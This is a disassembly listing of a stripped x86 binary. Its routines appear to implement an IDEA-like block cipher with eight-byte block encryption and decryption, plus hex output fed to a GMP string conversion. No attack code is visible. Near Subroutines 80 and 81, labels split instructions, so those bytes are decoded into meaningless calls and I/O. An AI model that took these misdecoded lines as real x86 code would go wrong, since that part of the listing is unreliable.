08053367   29 55 dc            sub      %edx,0xffffffdc(%ebp)
0805336a   8b 7d e8            mov      0xffffffe8(%ebp),%edi
0805336d   8b 55 ec            mov      0xffffffec(%ebp),%edx
08053370   33 7d e0            xor      0xffffffe0(%ebp),%edi
08053373   0f b7 42 02         movzwl   0x2(%edx),%eax
08053377   89 fa               mov      %edi,%edx
08053379   01 45 e4            add      %eax,0xffffffe4(%ebp)
0805337c   81 e2 ff ff 00 00   and      $0xffff,%edx   ;65535 'xff xff x0 x0' ""
08053382   8b 45 ec            mov      0xffffffec(%ebp),%eax
08053385   0f b7 48 08         movzwl   0x8(%eax),%ecx
08053389   89 d0               mov      %edx,%eax
0805338b   8b 75 e4            mov      0xffffffe4(%ebp),%esi
0805338e   0f af c1            imul     %ecx,%eax
08053391   33 75 dc            xor      0xffffffdc(%ebp),%esi
08053394   85 c0               test     %eax,%eax
08053396   74 18               je       080533b0 <Unknown0079+0x9c>
08053398   0f b7 d8            movzwl   %ax,%ebx
0805339b   89 c1               mov      %eax,%ecx
0805339d   c1 e9 10            shr      $0x10,%ecx
080533a0   89 da               mov      %ebx,%edx
080533a2   29 ca               sub      %ecx,%edx
080533a4   31 c0               xor      %eax,%eax
080533a6   39 cb               cmp      %ecx,%ebx
080533a8   0f 92 c0            setb     %al
080533ab   8d 3c 10            lea      (%eax,%edx,1),%edi
080533ae   eb 17               jmp      080533c7 <Unknown0079+0xb3>
080533b0   85 d2               test     %edx,%edx
080533b2   75 0c               jne      080533c0 <Unknown0079+0xac>
080533b4   bf 01 00 00 00      mov      $0x1,%edi   ;1 'x1 x0 x0 x0' ""
080533b9   29 cf               sub      %ecx,%edi
080533bb   eb 0a               jmp      080533c7 <Unknown0079+0xb3>
080533bd   8d 76 00            lea      0x0(%esi),%esi
080533c0   bf 01 00 00 00      mov      $0x1,%edi   ;1 'x1 x0 x0 x0' ""
080533c5   29 d7               sub      %edx,%edi
080533c7   01 fe               add      %edi,%esi
080533c9   89 f2               mov      %esi,%edx
080533cb   81 e2 ff ff 00 00   and      $0xffff,%edx   ;65535 'xff xff x0 x0' ""
080533d1   8b 45 ec            mov      0xffffffec(%ebp),%eax
080533d4   0f b7 48 0a         movzwl   0xa(%eax),%ecx
080533d8   89 d0               mov      %edx,%eax
080533da   0f af c1            imul     %ecx,%eax
080533dd   85 c0               test     %eax,%eax
080533df   74 1b               je       080533fc <Unknown0079+0xe8>
080533e1   0f b7 d8            movzwl   %ax,%ebx
080533e4   89 c1               mov      %eax,%ecx
080533e6   c1 e9 10            shr      $0x10,%ecx
080533e9   89 da               mov      %ebx,%edx
080533eb   29 ca               sub      %ecx,%edx
080533ed   31 c0               xor      %eax,%eax
080533ef   39 cb               cmp      %ecx,%ebx
080533f1   0f 92 c0            setb     %al
080533f4   8d 34 10            lea      (%eax,%edx,1),%esi
080533f7   eb 1a               jmp      08053413 <Unknown0079+0xff>
080533f9   8d 76 00            lea      0x0(%esi),%esi
080533fc   85 d2               test     %edx,%edx
080533fe   75 0c               jne      0805340c <Unknown0079+0xf8>
08053400   be 01 00 00 00      mov      $0x1,%esi   ;1 'x1 x0 x0 x0' ""
08053405   29 ce               sub      %ecx,%esi
08053407   eb 0a               jmp      08053413 <Unknown0079+0xff>
08053409   8d 76 00            lea      0x0(%esi),%esi
0805340c   be 01 00 00 00      mov      $0x1,%esi   ;1 'x1 x0 x0 x0' ""
08053411   29 d6               sub      %edx,%esi
08053413   01 f7               add      %esi,%edi
08053415   ff 45 f0            incl     0xfffffff0(%ebp)
08053418   31 75 e8            xor      %esi,0xffffffe8(%ebp)
0805341b   31 7d dc            xor      %edi,0xffffffdc(%ebp)
0805341e   33 75 e0            xor      0xffffffe0(%ebp),%esi
08053421   33 7d e4            xor      0xffffffe4(%ebp),%edi
08053424   83 45 ec 0c         addl     $0xc,0xffffffec(%ebp)
08053428   83 7d f0 07         cmpl     $0x7,0xfffffff0(%ebp)
0805342c   89 75 e4            mov      %esi,0xffffffe4(%ebp)
0805342f   89 7d e0            mov      %edi,0xffffffe0(%ebp)
08053432   0f 86 94 fe ff ff   jbe      080532cc <Unknown0077+0x30>   ;-364 'x94 xfe xff xff' ""
08053438   0f b7 55 e8         movzwl   0xffffffe8(%ebp),%edx
```

```
0805343c   8b 45 ec            mov     0xffffffec(%ebp),%eax
0805343f   0f b7 08            movzwl  (%eax),%ecx
08053442   89 d0               mov     %edx,%eax
08053444   0f af c1            imul    %ecx,%eax
08053447   85 c0               test    %eax,%eax
08053449   74 1d               je      08053468 <Unknown0079+0x154>
0805344b   0f b7 d8            movzwl  %ax,%ebx
0805344e   89 c1               mov     %eax,%ecx
08053450   c1 e9 10            shr     $0x10,%ecx
08053453   89 da               mov     %ebx,%edx
08053455   29 ca               sub     %ecx,%edx
08053457   31 c0               xor     %eax,%eax
08053459   39 cb               cmp     %ecx,%ebx
0805345b   0f 92 c0            setb    %al
0805345e   8d 04 10            lea     (%eax,%edx,1),%eax
08053461   89 45 e8            mov     %eax,0xffffffe8(%ebp)
08053464   eb 1c               jmp     08053482 <Unknown0081+0x2>
08053466   89 f6               mov     %esi,%esi
08053468   85 d2               test    %edx,%edx
0805346a   75 0c               jne     08053478 <Unknown0080+0x4>
0805346c   c7 45 e8 01 00 00 00 movl   $0x1,0xffffffe8(%ebp)
08053473   29 4d e8            sub     %ecx,0xffffffe8(%ebp)


  ;
  ; >---------------------< Subroutine #  80 >----------------------<
  ;
08053474 <Unknown0080>:
08053474   4d                  dec     %ebp
08053475   e8 eb 0a c7 45      call    4dcc3f65 <Unknown0453+0x45c589b5>
0805347a   e8 01 00 00 00      call    08053480 <Unknown0081>
0805347f   29 55 e8            sub     %edx,0xffffffe8(%ebp)


  ;
  ; >---------------------< Subroutine #  81 >----------------------<
  ;
08053480 <Unknown0081>:
08053480   55                  push    %ebp
08053481   e8 8b 55 ec 8b      call    93f18a11 <Unknown0453+0x8bead461>
08053486   45                  inc     %ebp
08053487   e4 66               in      $0x66,%al
08053489   03 42 04            add     0x4(%edx),%eax
0805348c   0f b7 c0            movzwl  %ax,%eax
0805348f   89 45 e0            mov     %eax,0xffffffe0(%ebp)
08053492   0f b7 42 02         movzwl  0x2(%edx),%eax
08053496   01 c7               add     %eax,%edi
08053498   0f b7 55 dc         movzwl  0xffffffdc(%ebp),%edx
0805349c   8b 45 ec            mov     0xffffffec(%ebp),%eax
0805349f   89 7d e4            mov     %edi,0xffffffe4(%ebp)
080534a2   0f b7 48 06         movzwl  0x6(%eax),%ecx
080534a6   89 d0               mov     %edx,%eax
080534a8   0f af c1            imul    %ecx,%eax
080534ab   85 c0               test    %eax,%eax
080534ad   74 1d               je      080534cc <Unknown0081+0x4c>
080534af   0f b7 d8            movzwl  %ax,%ebx
080534b2   89 c1               mov     %eax,%ecx
080534b4   c1 e9 10            shr     $0x10,%ecx
080534b7   89 da               mov     %ebx,%edx
080534b9   29 ca               sub     %ecx,%edx
080534bb   31 c0               xor     %eax,%eax
080534bd   39 cb               cmp     %ecx,%ebx
080534bf   0f 92 c0            setb    %al
080534c2   8d 04 10            lea     (%eax,%edx,1),%eax
080534c5   89 45 dc            mov     %eax,0xffffffdc(%ebp)
080534c8   eb 1c               jmp     080534e6 <Unknown0081+0x66>
080534ca   89 f6               mov     %esi,%esi
080534cc   85 d2               test    %edx,%edx
080534ce   75 0c               jne     080534dc <Unknown0081+0x5c>
080534d0   c7 45 dc 01 00 00 00 movl   $0x1,0xffffffdc(%ebp)   ;1 'x1 x0 x0 x0' ""
080534d7   29 4d dc            sub     %ecx,0xffffffdc(%ebp)
080534da   eb 0a               jmp     080534e6 <Unknown0081+0x66>
080534dc   c7 45 dc 01 00 00 00 movl   $0x1,0xffffffdc(%ebp)   ;1 'x1 x0 x0 x0' ""
080534e3   29 55 dc            sub     %edx,0xffffffdc(%ebp)
080534e6   c1 65 e8 10         shll    $0x10,0xffffffe8(%ebp)
080534ea   0f b7 45 e4         movzwl  0xffffffe4(%ebp),%eax
080534ee   09 45 e8            or      %eax,0xffffffe8(%ebp)
080534f1   8b 45 e8            mov     0xffffffe8(%ebp),%eax
080534f4   8b 55 14            mov     0x14(%ebp),%edx
080534f7   89 02               mov     %eax,(%edx)
080534f9   c1 65 e0 10         shll    $0x10,0xffffffe0(%ebp)
080534fd   0f b7 45 dc         movzwl  0xffffffdc(%ebp),%eax
08053501   09 45 e0            or      %eax,0xffffffe0(%ebp)
08053504   8b 45 e0            mov     0xffffffe0(%ebp),%eax
```

```
08053507  89 42 04              mov     %eax,0x4(%edx)
0805350a  83 c4 18              add     $0x18,%esp
0805350d  5b                    pop     %ebx
0805350e  5e                    pop     %esi
0805350f  5f                    pop     %edi
08053510  5d                    pop     %ebp
08053511  c3                    ret
08053512  89 f6                 mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine #  82 >---------------------<
  ;
08053514 <Unknown0082>:
08053514  55                    push    %ebp
08053515  89 e5                 mov     %esp,%ebp
08053517  57                    push    %edi
08053518  56                    push    %esi
08053519  53                    push    %ebx
0805351a  83 ec 1c              sub     $0x1c,%esp
0805351d  8b 45 0c              mov     0xc(%ebp),%eax
08053520  0f b6 08              movzbl  (%eax),%ecx
08053523  0f b6 40 01           movzbl  0x1(%eax),%eax
08053527  c1 e0 10              shl     $0x10,%eax
0805352a  8b 55 0c              mov     0xc(%ebp),%edx
0805352d  c1 e1 18              shl     $0x18,%ecx
08053530  09 c1                 or      %eax,%ecx
08053532  0f b6 42 02           movzbl  0x2(%edx),%eax
08053536  c1 e0 08              shl     $0x8,%eax
08053539  8b 5d 0c              mov     0xc(%ebp),%ebx
0805353c  09 c1                 or      %eax,%ecx
0805353e  0f b6 42 03           movzbl  0x3(%edx),%eax
08053542  09 c1                 or      %eax,%ecx
08053544  0f b6 52 04           movzbl  0x4(%edx),%edx
08053548  0f b6 43 05           movzbl  0x5(%ebx),%eax
0805354c  c1 e0 10              shl     $0x10,%eax
0805354f  c1 e2 18              shl     $0x18,%edx
08053552  09 c2                 or      %eax,%edx
08053554  0f b6 43 06           movzbl  0x6(%ebx),%eax
08053558  c1 e0 08              shl     $0x8,%eax
0805355b  09 c2                 or      %eax,%edx
0805355d  0f b6 43 07           movzbl  0x7(%ebx),%eax
08053561  31 db                 xor     %ebx,%ebx
08053563  09 c2                 or      %eax,%edx
08053565  3b 5d 18              cmp     0x18(%ebp),%ebx
08053568  8b 75 10              mov     0x10(%ebp),%esi
0805356b  8b 7d 14              mov     0x14(%ebp),%edi
0805356e  0f 83 09 01 00 00     jae     0805367d <Unknown0082+0x169>  ;265 'x9 x1 x0 x0' ""
08053574  8d 45 e8              lea     0xffffffe8(%ebp),%eax
08053577  89 45 e4              mov     %eax,0xffffffe4(%ebp)
0805357a  89 f6                 mov     %esi,%esi
0805357c  ff 75 e4              pushl   0xffffffe4(%ebp)
0805357f  52                    push    %edx
08053580  51                    push    %ecx
08053581  ff 75 08              pushl   0x8(%ebp)
08053584  e8 13 fd ff ff        call    0805329c <Unknown0077>
08053589  0f b6 0c 3b           movzbl  (%ebx,%edi,1),%ecx
0805358d  0f b6 44 3b 01        movzbl  0x1(%ebx,%edi,1),%eax
08053592  c1 e0 10              shl     $0x10,%eax
08053595  c1 e1 18              shl     $0x18,%ecx
08053598  09 c1                 or      %eax,%ecx
0805359a  0f b6 44 3b 02        movzbl  0x2(%ebx,%edi,1),%eax
0805359f  c1 e0 08              shl     $0x8,%eax
080535a2  8d 55 e8              lea     0xffffffe8(%ebp),%edx
080535a5  09 c1                 or      %eax,%ecx
080535a7  0f b6 44 3b 03        movzbl  0x3(%ebx,%edi,1),%eax
080535ac  89 55 e4              mov     %edx,0xffffffe4(%ebp)
080535af  09 c1                 or      %eax,%ecx
080535b1  0f b6 54 3b 04        movzbl  0x4(%ebx,%edi,1),%edx
080535b6  0f b6 44 3b 05        movzbl  0x5(%ebx,%edi,1),%eax
080535bb  c1 e0 10              shl     $0x10,%eax
080535be  c1 e2 18              shl     $0x18,%edx
080535c1  09 c2                 or      %eax,%edx
080535c3  0f b6 44 3b 06        movzbl  0x6(%ebx,%edi,1),%eax
080535c8  c1 e0 08              shl     $0x8,%eax
080535cb  09 c2                 or      %eax,%edx
080535cd  0f b6 44 3b 07        movzbl  0x7(%ebx,%edi,1),%eax
080535d2  09 c2                 or      %eax,%edx
080535d4  8d 43 08              lea     0x8(%ebx),%eax
080535d7  33 4d e8              xor     0xffffffe8(%ebp),%ecx
080535da  33 55 ec              xor     0xffffffec(%ebp),%edx
080535dd  83 c4 10              add     $0x10,%esp
080535e0  3b 45 18              cmp     0x18(%ebp),%eax
080535e3  77 3f                 ja      08053624 <Unknown0082+0x110>
```

```
080535e5  89 c8                  mov     %ecx,%eax
080535e7  c1 e8 18               shr     $0x18,%eax
080535ea  88 04 33               mov     %al,(%ebx,%esi,1)
080535ed  89 c8                  mov     %ecx,%eax
080535ef  c1 e8 10               shr     $0x10,%eax
080535f2  88 44 33 01            mov     %al,0x1(%ebx,%esi,1)
080535f6  89 c8                  mov     %ecx,%eax
080535f8  c1 e8 08               shr     $0x8,%eax
080535fb  88 44 33 02            mov     %al,0x2(%ebx,%esi,1)
080535ff  88 4c 33 03            mov     %cl,0x3(%ebx,%esi,1)
08053603  89 d0                  mov     %edx,%eax
08053605  c1 e8 18               shr     $0x18,%eax
08053608  88 44 33 04            mov     %al,0x4(%ebx,%esi,1)
0805360c  89 d0                  mov     %edx,%eax
0805360e  c1 e8 10               shr     $0x10,%eax
08053611  88 44 33 05            mov     %al,0x5(%ebx,%esi,1)
08053615  89 d0                  mov     %edx,%eax
08053617  c1 e8 08               shr     $0x8,%eax
0805361a  88 44 33 06            mov     %al,0x6(%ebx,%esi,1)
0805361e  88 54 33 07            mov     %dl,0x7(%ebx,%esi,1)
08053622  eb 4d                  jmp     08053671 <Unknown0082+0x15d>
08053624  8b 45 18               mov     0x18(%ebp),%eax
08053627  29 d8                  sub     %ebx,%eax
08053629  48                     dec     %eax
0805362a  83 f8 06               cmp     $0x6,%eax
0805362d  77 42                  ja      08053671 <Unknown0082+0x15d>
0805362f  ff 24 85 40 fa 06 08   jmp     *0x806fa40(,%eax,4)  ;[in .rodata] 134559337 'x69 x36 x5 x8' "i6"
08053636  89 f6                  mov     %esi,%esi
08053638  89 d0                  mov     %edx,%eax
0805363a  c1 e8 08               shr     $0x8,%eax
0805363d  88 44 33 06            mov     %al,0x6(%ebx,%esi,1)
08053641  89 d0                  mov     %edx,%eax
08053643  c1 e8 10               shr     $0x10,%eax
08053646  88 44 33 05            mov     %al,0x5(%ebx,%esi,1)
0805364a  89 d0                  mov     %edx,%eax
0805364c  c1 e8 18               shr     $0x18,%eax
0805364f  88 44 33 04            mov     %al,0x4(%ebx,%esi,1)
08053653  88 4c 33 03            mov     %cl,0x3(%ebx,%esi,1)
08053657  89 c8                  mov     %ecx,%eax
08053659  c1 e8 08               shr     $0x8,%eax
0805365c  88 44 33 02            mov     %al,0x2(%ebx,%esi,1)
08053660  89 c8                  mov     %ecx,%eax
08053662  c1 e8 10               shr     $0x10,%eax
08053665  88 44 33 01            mov     %al,0x1(%ebx,%esi,1)
08053669  89 c8                  mov     %ecx,%eax
0805366b  c1 e8 18               shr     $0x18,%eax
0805366e  88 04 33               mov     %al,(%ebx,%esi,1)
08053671  83 c3 08               add     $0x8,%ebx
08053674  3b 5d 18               cmp     0x18(%ebp),%ebx
08053677  0f 82 ff fe ff ff      jb      0805357c <Unknown0082+0x68>  ;-257 'xff xfe xff xff' ""
0805367d  89 c8                  mov     %ecx,%eax
0805367f  8b 5d 0c               mov     0xc(%ebp),%ebx
08053682  c1 e8 18               shr     $0x18,%eax
08053685  88 03                  mov     %al,(%ebx)
08053687  89 c8                  mov     %ecx,%eax
08053689  c1 e8 10               shr     $0x10,%eax
0805368c  88 43 01               mov     %al,0x1(%ebx)
0805368f  89 c8                  mov     %ecx,%eax
08053691  c1 e8 08               shr     $0x8,%eax
08053694  88 43 02               mov     %al,0x2(%ebx)
08053697  88 4b 03               mov     %cl,0x3(%ebx)
0805369a  89 d0                  mov     %edx,%eax
0805369c  c1 e8 18               shr     $0x18,%eax
0805369f  88 43 04               mov     %al,0x4(%ebx)
080536a2  89 d0                  mov     %edx,%eax
080536a4  c1 e8 10               shr     $0x10,%eax
080536a7  88 43 05               mov     %al,0x5(%ebx)
080536aa  89 d0                  mov     %edx,%eax
080536ac  c1 e8 08               shr     $0x8,%eax
080536af  88 43 06               mov     %al,0x6(%ebx)
080536b2  88 53 07               mov     %dl,0x7(%ebx)
080536b5  8d 65 f4               lea     0xfffffff4(%ebp),%esp
080536b8  5b                     pop     %ebx
080536b9  5e                     pop     %esi
080536ba  5f                     pop     %edi
080536bb  5d                     pop     %ebp
080536bc  c3                     ret
080536bd  8d 76 00               lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #  83 >---------------------<
  ;
080536c0 <Unknown0083>:
```

```
080536c0  55                        push   %ebp
080536c1  89 e5                     mov    %esp,%ebp
080536c3  57                        push   %edi
080536c4  56                        push   %esi
080536c5  53                        push   %ebx
080536c6  83 ec 2c                  sub    $0x2c,%esp
080536c9  8b 45 0c                  mov    0xc(%ebp),%eax
080536cc  0f b6 38                  movzbl (%eax),%edi
080536cf  0f b6 40 01               movzbl 0x1(%eax),%eax
080536d3  8b 55 0c                  mov    0xc(%ebp),%edx
080536d6  c1 e0 10                  shl    $0x10,%eax
080536d9  c1 e7 18                  shl    $0x18,%edi
080536dc  09 c7                     or     %eax,%edi
080536de  0f b6 42 02               movzbl 0x2(%edx),%eax
080536e2  c1 e0 08                  shl    $0x8,%eax
080536e5  09 c7                     or     %eax,%edi
080536e7  0f b6 42 03               movzbl 0x3(%edx),%eax
080536eb  09 c7                     or     %eax,%edi
080536ed  0f b6 72 04               movzbl 0x4(%edx),%esi
080536f1  0f b6 42 05               movzbl 0x5(%edx),%eax
080536f5  c1 e0 10                  shl    $0x10,%eax
080536f8  c1 e6 18                  shl    $0x18,%esi
080536fb  09 c6                     or     %eax,%esi
080536fd  0f b6 42 06               movzbl 0x6(%edx),%eax
08053701  c1 e0 08                  shl    $0x8,%eax
08053704  09 c6                     or     %eax,%esi
08053706  31 db                     xor    %ebx,%ebx
08053708  0f b6 42 07               movzbl 0x7(%edx),%eax
0805370c  09 c6                     or     %eax,%esi
0805370e  3b 5d 18                  cmp    0x18(%ebp),%ebx
08053711  0f 83 5b 01 00 00         jae    08053872 <Unknown0083+0x1b2>   ¡347 'x5b x1 x0 x0' "["
08053717  8d 4d e8                  lea    0xffffffe8(%ebp),%ecx
0805371a  89 4d e4                  mov    %ecx,0xffffffe4(%ebp)
0805371d  8d 76 00                  lea    0x0(%esi),%esi
08053720  ff 75 e4                  pushl  0xffffffe4(%ebp)
08053723  56                        push   %esi
08053724  57                        push   %edi
08053725  ff 75 08                  pushl  0x8(%ebp)
08053728  e8 6f fb ff ff            call   0805329c <Unknown0077>
0805372d  8b 45 14                  mov    0x14(%ebp),%eax
08053730  0f b6 3c 03               movzbl (%ebx,%eax,1),%edi
08053734  0f b6 44 03 01            movzbl 0x1(%ebx,%eax,1),%eax
08053739  8b 55 14                  mov    0x14(%ebp),%edx
0805373c  c1 e0 10                  shl    $0x10,%eax
0805373f  c1 e7 18                  shl    $0x18,%edi
08053742  09 c7                     or     %eax,%edi
08053744  0f b6 44 13 02            movzbl 0x2(%ebx,%edx,1),%eax
08053749  c1 e0 08                  shl    $0x8,%eax
0805374c  09 c7                     or     %eax,%edi
0805374e  0f b6 44 13 03            movzbl 0x3(%ebx,%edx,1),%eax
08053753  0f b6 74 13 04            movzbl 0x4(%ebx,%edx,1),%esi
08053758  09 c7                     or     %eax,%edi
0805375a  0f b6 44 13 05            movzbl 0x5(%ebx,%edx,1),%eax
0805375f  c1 e0 10                  shl    $0x10,%eax
08053762  c1 e6 18                  shl    $0x18,%esi
08053765  09 c6                     or     %eax,%esi
08053767  0f b6 44 13 06            movzbl 0x6(%ebx,%edx,1),%eax
0805376c  c1 e0 08                  shl    $0x8,%eax
0805376f  09 c6                     or     %eax,%esi
08053771  0f b6 44 13 07            movzbl 0x7(%ebx,%edx,1),%eax
08053776  09 c6                     or     %eax,%esi
08053778  89 75 d4                  mov    %esi,0xffffffd4(%ebp)
0805377b  8b 45 ec                  mov    0xffffffec(%ebp),%eax
0805377e  31 45 d4                  xor    %eax,0xffffffd4(%ebp)
08053781  89 fa                     mov    %edi,%edx
08053783  8d 43 08                  lea    0x8(%ebx),%eax
08053786  33 55 e8                  xor    0xffffffe8(%ebp),%edx
08053789  8d 4d e8                  lea    0xffffffe8(%ebp),%ecx
0805378c  83 c4 10                  add    $0x10,%esp
0805378f  3b 45 18                  cmp    0x18(%ebp),%eax
08053792  89 4d e4                  mov    %ecx,0xffffffe4(%ebp)
08053795  77 5d                     ja     080537f4 <Unknown0083+0x134>
08053797  89 55 dc                  mov    %edx,0xffffffdc(%ebp)
0805379a  c1 6d dc 18               shrl   $0x18,0xffffffdc(%ebp)
0805379e  8a 4d dc                  mov    0xffffffdc(%ebp),%cl
080537a1  8b 45 10                  mov    0x10(%ebp),%eax
080537a4  88 0c 03                  mov    %cl,(%ebx,%eax,1)
080537a7  89 55 dc                  mov    %edx,0xffffffdc(%ebp)
080537aa  c1 6d dc 10               shrl   $0x10,0xffffffdc(%ebp)
080537ae  8a 4d dc                  mov    0xffffffdc(%ebp),%cl
080537b1  88 4c 03 01               mov    %cl,0x1(%ebx,%eax,1)
080537b5  89 55 dc                  mov    %edx,0xffffffdc(%ebp)
080537b8  c1 6d dc 08               shrl   $0x8,0xffffffdc(%ebp)
080537bc  8a 4d dc                  mov    0xffffffdc(%ebp),%cl
```

```
080537bf  88 4c 03 02              mov     %cl,0x2(%ebx,%eax,1)
080537c3  88 54 03 03              mov     %dl,0x3(%ebx,%eax,1)
080537c7  8b 45 d4                 mov     0xffffffd4(%ebp),%eax
080537ca  8b 55 10                 mov     0x10(%ebp),%edx
080537cd  c1 e8 18                 shr     $0x18,%eax
080537d0  88 44 13 04              mov     %al,0x4(%ebx,%edx,1)
080537d4  8b 45 d4                 mov     0xffffffd4(%ebp),%eax
080537d7  c1 e8 10                 shr     $0x10,%eax
080537da  88 44 13 05              mov     %al,0x5(%ebx,%edx,1)
080537de  8b 45 d4                 mov     0xffffffd4(%ebp),%eax
080537e1  c1 e8 08                 shr     $0x8,%eax
080537e4  88 44 13 06              mov     %al,0x6(%ebx,%edx,1)
080537e8  8a 4d d4                 mov     0xffffffd4(%ebp),%cl
080537eb  88 4c 13 07              mov     %cl,0x7(%ebx,%edx,1)
080537ef  eb 75                    jmp     08053866 <Unknown0083+0x1a6>
080537f1  8d 76 00                 lea     0x0(%esi),%esi
080537f4  8b 45 18                 mov     0x18(%ebp),%eax
080537f7  29 d8                    sub     %ebx,%eax
080537f9  48                       dec     %eax
080537fa  83 f8 06                 cmp     $0x6,%eax
080537fd  77 67                    ja      08053866 <Unknown0083+0x1a6>
080537ff  ff 24 85 60 fa 06 08     jmp     *0x806fa60(,%eax,4)   ;[in .rodata] 134559837 'x5d x38 x5 x8' "]8"
08053806  89 f6                    mov     %esi,%esi
08053808  8b 45 d4                 mov     0xffffffd4(%ebp),%eax
0805380b  89 45 dc                 mov     %eax,0xffffffdc(%ebp)
0805380e  c1 6d dc 08              shrl    $0x8,0xffffffdc(%ebp)
08053812  8a 4d dc                 mov     0xffffffdc(%ebp),%cl
08053815  8b 45 10                 mov     0x10(%ebp),%eax
08053818  88 4c 03 06              mov     %cl,0x6(%ebx,%eax,1)
0805381c  8b 4d d4                 mov     0xffffffd4(%ebp),%ecx
0805381f  89 4d dc                 mov     %ecx,0xffffffdc(%ebp)
08053822  c1 6d dc 10              shrl    $0x10,0xffffffdc(%ebp)
08053826  8a 45 dc                 mov     0xffffffdc(%ebp),%al
08053829  8b 4d 10                 mov     0x10(%ebp),%ecx
0805382c  88 44 0b 05              mov     %al,0x5(%ebx,%ecx,1)
08053830  c1 6d d4 18              shrl    $0x18,0xffffffd4(%ebp)
08053834  8a 45 d4                 mov     0xffffffd4(%ebp),%al
08053837  8b 4d 10                 mov     0x10(%ebp),%ecx
0805383a  88 44 0b 04              mov     %al,0x4(%ebx,%ecx,1)
0805383e  8b 45 10                 mov     0x10(%ebp),%eax
08053841  88 54 03 03              mov     %dl,0x3(%ebx,%eax,1)
08053845  89 d0                    mov     %edx,%eax
08053847  c1 e8 08                 shr     $0x8,%eax
0805384a  8b 4d 10                 mov     0x10(%ebp),%ecx
0805384d  88 44 0b 02              mov     %al,0x2(%ebx,%ecx,1)
08053851  89 d0                    mov     %edx,%eax
08053853  c1 e8 10                 shr     $0x10,%eax
08053856  8b 4d 10                 mov     0x10(%ebp),%ecx
08053859  88 44 0b 01              mov     %al,0x1(%ebx,%ecx,1)
0805385d  c1 ea 18                 shr     $0x18,%edx
08053860  8b 45 10                 mov     0x10(%ebp),%eax
08053863  88 14 03                 mov     %dl,(%ebx,%eax,1)
08053866  83 c3 08                 add     $0x8,%ebx
08053869  3b 5d 18                 cmp     0x18(%ebp),%ebx
0805386c  0f 82 ae fe ff ff        jb      08053720 <Unknown0083+0x60>   ;-338 'xae xfe xff xff' ""
08053872  89 f8                    mov     %edi,%eax
08053874  8b 55 0c                 mov     0xc(%ebp),%edx
08053877  c1 e8 18                 shr     $0x18,%eax
0805387a  88 02                    mov     %al,(%edx)
0805387c  89 f8                    mov     %edi,%eax
0805387e  c1 e8 10                 shr     $0x10,%eax
08053881  88 42 01                 mov     %al,0x1(%edx)
08053884  89 f8                    mov     %edi,%eax
08053886  c1 e8 08                 shr     $0x8,%eax
08053889  89 f9                    mov     %edi,%ecx
0805388b  88 42 02                 mov     %al,0x2(%edx)
0805388e  88 4a 03                 mov     %cl,0x3(%edx)
08053891  89 f0                    mov     %esi,%eax
08053893  c1 e8 18                 shr     $0x18,%eax
08053896  88 42 04                 mov     %al,0x4(%edx)
08053899  89 f0                    mov     %esi,%eax
0805389b  c1 e8 10                 shr     $0x10,%eax
0805389e  88 42 05                 mov     %al,0x5(%edx)
080538a1  89 f0                    mov     %esi,%eax
080538a3  c1 e8 08                 shr     $0x8,%eax
080538a6  88 42 06                 mov     %al,0x6(%edx)
080538a9  89 f0                    mov     %esi,%eax
080538ab  88 42 07                 mov     %al,0x7(%edx)
080538ae  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
080538b1  5b                       pop     %ebx
080538b2  5e                       pop     %esi
080538b3  5f                       pop     %edi
080538b4  5d                       pop     %ebp
080538b5  c3                       ret
```

```
080538b6  89 f6                    mov    %esi,%esi


  ;
  ; >---------------------<  Subroutine #  84 >---------------------<
  ;
080538b8 <Unknown0084>:
080538b8  55                       push   %ebp
080538b9  89 e5                    mov    %esp,%ebp
080538bb  57                       push   %edi
080538bc  56                       push   %esi
080538bd  53                       push   %ebx
080538be  83 ec 28                 sub    $0x28,%esp
080538c1  8b 45 08                 mov    0x8(%ebp),%eax
080538c4  89 45 f0                 mov    %eax,0xfffffff0(%ebp)
080538c7  8b 45 0c                 mov    0xc(%ebp),%eax
080538ca  89 45 ec                 mov    %eax,0xffffffec(%ebp)
080538cd  8b 45 10                 mov    0x10(%ebp),%eax
080538d0  89 c6                    mov    %eax,%esi
080538d2  83 c6 07                 add    $0x7,%esi
080538d5  c1 ee 03                 shr    $0x3,%esi
080538d8  89 45 e8                 mov    %eax,0xffffffe8(%ebp)
080538db  8d 44 36 01              lea    0x1(%esi,%esi,1),%eax
080538df  50                       push   %eax
080538e0  e8 ab 35 00 00           call   08056e90 <Unknown0170>
080538e5  31 ff                    xor    %edi,%edi
080538e7  83 c4 10                 add    $0x10,%esp
080538ea  39 f7                    cmp    %esi,%edi
080538ec  89 45 e4                 mov    %eax,0xffffffe4(%ebp)
080538ef  73 28                    jae    08053919 <Unknown0084+0x61>
080538f1  89 c3                    mov    %eax,%ebx
080538f3  90                       nop
080538f4  83 ec 0c                 sub    $0xc,%esp
080538f7  ff 75 ec                 pushl  0xffffffec(%ebp)
080538fa  e8 59 16 00 00           call   08054f58 <Unknown0107>
080538ff  83 c4 0c                 add    $0xc,%esp
08053902  50                       push   %eax
08053903  68 ec 0a 07 08           push   $0x8070aec  ;[in .rodata] 2016555045 'x25 x30 x32 x78' "%02x"
08053908  53                       push   %ebx
08053909  e8 3e 6b ff ff           call   0804a44c <sprintf>
0805390e  47                       inc    %edi
0805390f  83 c4 10                 add    $0x10,%esp
08053912  83 c3 02                 add    $0x2,%ebx
08053915  39 f7                    cmp    %esi,%edi
08053917  72 db                    jb     080538f4 <Unknown0084+0x3c>
08053919  51                       push   %ecx
0805391a  6a 10                    push   $0x10
0805391c  ff 75 e4                 pushl  0xffffffe4(%ebp)
0805391f  ff 75 f0                 pushl  0xfffffff0(%ebp)
08053922  e8 21 eb 00 00           call   08062448 <Unknown0335>
08053927  83 c4 10                 add    $0x10,%esp
0805392a  85 c0                    test   %eax,%eax
0805392c  79 10                    jns    0805393e <Unknown0084+0x86>
0805392e  83 ec 0c                 sub    $0xc,%esp
08053931  68 00 0b 07 08           push   $0x8070b00  ;[in .rodata] 1702129225 'x49 x6e x74 x65' "Intenal
                                                        error, mpz_set_str returned error"
08053936  e8 21 c6 ff ff           call   0804ff5c <Unknown0044>
0805393b  83 c4 10                 add    $0x10,%esp
0805393e  52                       push   %edx
0805393f  8d 04 36                 lea    (%esi,%esi,1),%eax
08053942  50                       push   %eax
08053943  6a 00                    push   $0x0
08053945  ff 75 e4                 pushl  0xffffffe4(%ebp)
08053948  e8 5f 6a ff ff           call   0804a3ac <memset>
0805394d  58                       pop    %eax
0805394e  ff 75 e4                 pushl  0xffffffe4(%ebp)
